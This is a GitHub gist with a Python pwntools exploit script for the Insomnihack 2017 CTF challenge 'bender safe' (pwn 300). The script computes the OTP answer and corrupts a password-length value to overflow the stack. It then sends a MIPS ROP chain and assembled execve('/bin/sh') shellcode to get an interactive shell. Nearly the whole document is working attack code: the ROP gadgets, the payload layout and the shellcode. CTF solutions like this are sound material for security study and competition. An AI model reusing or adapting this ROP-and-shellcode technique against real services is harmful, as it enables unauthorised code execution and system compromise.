-
-
Save hugsy/3e64b7cae4de38ba153a23e5491bff24 to your computer and use it in GitHub Desktop.
insomnihack 2017: bender safe - pwn 300
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import sys, random | |
from pwn import * | |
import keystone | |
context.update(arch="mips", | |
endian="big", | |
os="linux", | |
# log_level="debug", | |
# terminal=["tmux", "split-window", "-v", "-p 85"], | |
) | |
def validate(token): | |
c = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" | |
m = [] | |
i = 0 | |
m+= token[0] | |
i+= 1 | |
m+= token[-1] | |
i+= 1 | |
if ord(token[7]) >= 0x41: | |
m+= chr(ord(token[7]) ^ 0x4b ^ 0x61 ^ 0xa) | |
else: | |
m+= chr(ord(token[7]) ^ 0x3f ^ 0x7f ) | |
i += 1 | |
if ord(token[i]) < 0x41: | |
m+= c[ c.find(token[i]) - 10 ] | |
else: | |
m+= c[ c.find(token[i]) + 10 ] | |
i+= 1 | |
if ord(token[i]) < 0x41: | |
m+= c[ c.find(token[i]) - 10 ] | |
else: | |
m+= c[ c.find(token[i]) + 10 ] | |
i+= 1 | |
s = ord(token[1])-ord(token[2]) | |
s = abs(s) | |
l = s % 35 | |
m+= c[l] | |
i+= 1 | |
s = ord(token[5])-ord(token[i]) | |
s = abs(s) | |
l = s % 35 | |
m+= c[l] | |
i+= 1 | |
if not (ord(token[8]) < 0x41): | |
m+= chr(ord(token[8]) ^ 0x4b ^ 0x61 ^ 0xa) | |
else: | |
m+= chr(ord(token[8]) ^ 0x3f ^ 0x7f ) | |
i+= 1 | |
return "".join(m) | |
if __name__ == "__main__": | |
p = "./bender_safe" | |
# elf = ELF(p) | |
HOST, PORT = "localhost", 12234 | |
r = remote(HOST, PORT) | |
r.recvuntil("Here's your OTP challenge : \n") | |
chal = r.readline().strip() | |
resp = validate(chal) | |
r.sendline(resp) | |
raw_input("attach") | |
r.recvuntil("-------------------------------\n") | |
log.info("poisoing buf[-1] with \\r") | |
r.sendline("2") | |
r.recvuntil('How many passwords do you want to store? : ') | |
l = 13 # \r | |
r.sendline(str(l)) | |
r.recvline() | |
r.recvline() | |
r.send('\n') # this will force passwords[0] to be overwritten with 0xA, making the password size length wrong | |
log.info("filling up the stack") | |
for _ in range(9): | |
r.send('A'*(102-1)) | |
log.info("preparing ropchain") | |
sfp = p32(0x004a8000) | |
set_s2 = p32(0x403BA4) | |
set_v0 = p32(0x403BBC) | |
set_a0 = p32(0x403B98) | |
set_a1 = p32(0x4038e8) | |
read_passwords = p32(0x004015E8) | |
a0 = p32(0x004a8a00) | |
a1 = p32(0x100) | |
p = 'YOLO'*2 + sfp | |
p+= set_s2 + 'YOLO'*8 + a0 + set_v0 + p32(0)*9 + set_a0 + "YOLO"*8 + 'ZZZ' | |
p+= set_s2 + 'YOLO'*8 + a1 + set_a1 + 'YOLO'*10 + 'Z'*3 | |
p+= read_passwords + "YOLO"*9 + p32(0x004a8a00) | |
payload = p.ljust(303, "Z") | |
r.send(payload[:102]) | |
r.send(payload[102:204]) | |
r.send(payload[204:]) | |
log.info("trigger: enter ropchain") | |
r.recvuntil("-------------------------------\n") | |
r.sendline("4") | |
log.info("preparing shellcode") | |
shellcode = """ | |
li $sp, 0x4a8b00 ; | |
li $v0, 0x2f62696e ; | |
sw $v0, 0($sp) ; | |
li $v0, 0x2f736800 ; | |
sw $v0, 4($sp) ; | |
li $v0, 4011 ; | |
move $a0, $sp ; | |
addiu $a1, $zero, 0 ; | |
addiu $a2, $zero, 0 ; | |
syscall ; | |
addiu $a2, $zero, 0 ; | |
addiu $a2, $zero, 0 ; | |
""" | |
arch, mode, endian = keystone.KS_ARCH_MIPS, keystone.KS_MODE_MIPS32, keystone.KS_MODE_BIG_ENDIAN | |
ks = keystoneks = keystone.Ks(arch, mode | endian) | |
sc, cnt = ks.asm(shellcode) | |
log.info("keystone compiled %d instructions" % cnt) | |
sc = "".join([chr(x) for x in sc]) | |
log.info("writing shellcode in rwx page") | |
r.sendline(sc) | |
log.info("enjoy...") | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment